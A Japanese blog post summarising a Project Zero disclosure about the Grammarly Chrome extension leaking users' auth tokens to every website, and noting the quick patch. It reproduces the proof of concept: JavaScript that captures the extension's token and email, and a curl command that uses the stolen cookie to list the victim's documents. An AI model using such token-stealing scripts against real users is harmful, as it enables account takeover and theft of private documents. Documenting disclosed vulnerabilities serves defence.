拡張頭蓋 | Extended Cranium

もしかすると誰かの役に立つかもしれないことを書き留めておく

2018-02-06: セキュリティニュースまとめ: Chrome 機能拡張「Grammerly」に全 web サイトに対し Auth トークンをアクセス可能にする脆弱性

一次ソース

1527 - Grammarly: auth tokens are accessible to all websites - project-zero - Monorail

Grammerly Chrome 機能拡張について: 参考情報

lifeiscolourful.hatenablog.com

  • grammerly.com は英文ファイルをアップロードすると文法チェックしてくれるサービス
  • Chrome 機能拡張を利用すると、別のサイトでリアルタイムに執筆中の英文の文法チェックをしてくれる
    • 例: 任意のサイトに英文を入力中、Chrome 機能拡張でリアルタイムに文法間違いを指摘するなど
  • Grammerly Chrome 機能拡張のユーザー数: 約 2200 万人

確認された問題

  • 発見日: 2018-02-02
  • 修正確認日: 2018-02-06
  • Grammerly 機能拡張は Auth トークンを全 web サイトに晒している
    • すべての web サイトが当該 Auth トークンのユーザーとして grammerly.com にログインでき、当該ユーザーのすべてのドキュメント、履歴、ログ、そのほかのデータにアクセスできる
    • 例えばある web サイト A に英文を入力中、同サイト A は Auth トークンを利用し gammerly.com の当該ユーザアカウントのすべてのデータにアクセスできる

再現方法

任意の web サイト (例えば example.com) 上で Chromeデベロッパーツールにアクセスし、コンソールに下記を入力して grammerly の auth トークンを取得すれば良い。ここではコンソールからスクリプトを入力しているが、実際にはその web サイトの script セクションに同じスクリプトを仕掛けておけばユーザによる入力は必要ない。

> document.body.contentEditable=true // Trigger grammarly
> document.querySelector("[data-action=editor]").click() // Click the editor button
> document.querySelector("iframe.gr_-ifr").contentWindow.addEventListener("message", function (a) { console.log(a.data.user.email, a.data.user.grauth); }) // log auth token and email
> window.postMessage({grammarly: 1, action: "user" }, "*") // Request user data

これにより以下のようなアウトプットが得られる。

testaccount.zzxxyyaa@gmail.com AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs

grauth トークンは gammerly.com で利用されている grauth クッキーと合致しており grammerly.com アカウントのログインするのに十分な情報である。 これで Grammerly ユーザーのアカウントにあるすべての文書にアクセスできる。

たとえば以下の curl コマンドでアップロードされている全ドキュメントを取得できる。

$ curl --cookie "grauth=AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs;" -A Mozilla -si 'https://dox.grammarly.com/documents?search=&limit=100&firstCall=false'
HTTP/2 200
date: Fri, 02 Feb 2018 20:42:51 GMT
content-type: application/json;charset=utf-8
content-length: 438
server: nginx-clojure/0.4.5
x-xss-protection: 1; mode=block
x-frame-options: DENY
x-request-id: 1-5a74cd4b-1d54e8fe06dc94f47361216e
x-content-type-options: nosniff
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000
vary: Accept-Encoding, User-Agent

[{"id":260704145,"user_id":704607600,"title":"Demo document","size":3301,"first_content":"Remember when you were a careless eight year old kid riding a bike with your friends,racing each other around the neighborhood? Remember that feeling of absolute freedom as you felt the wind in your hair and the smile it put on your face? I never thought ","errors":41,"created_at":"2018-02-02T19:20:37.693","updated_at":"2018-02-02T19:21:04.268"}]

修正

  • Grammerly は当該報告を受けただちにパッチをリリース済み (2018-02-06)
    • Grammerly は報告から 90 日以内の修正を求められたが 3 日間で修正版をリリース、非常に短期間で修正を行った
  • Chrome および Mozilla の両方の更新が確認されている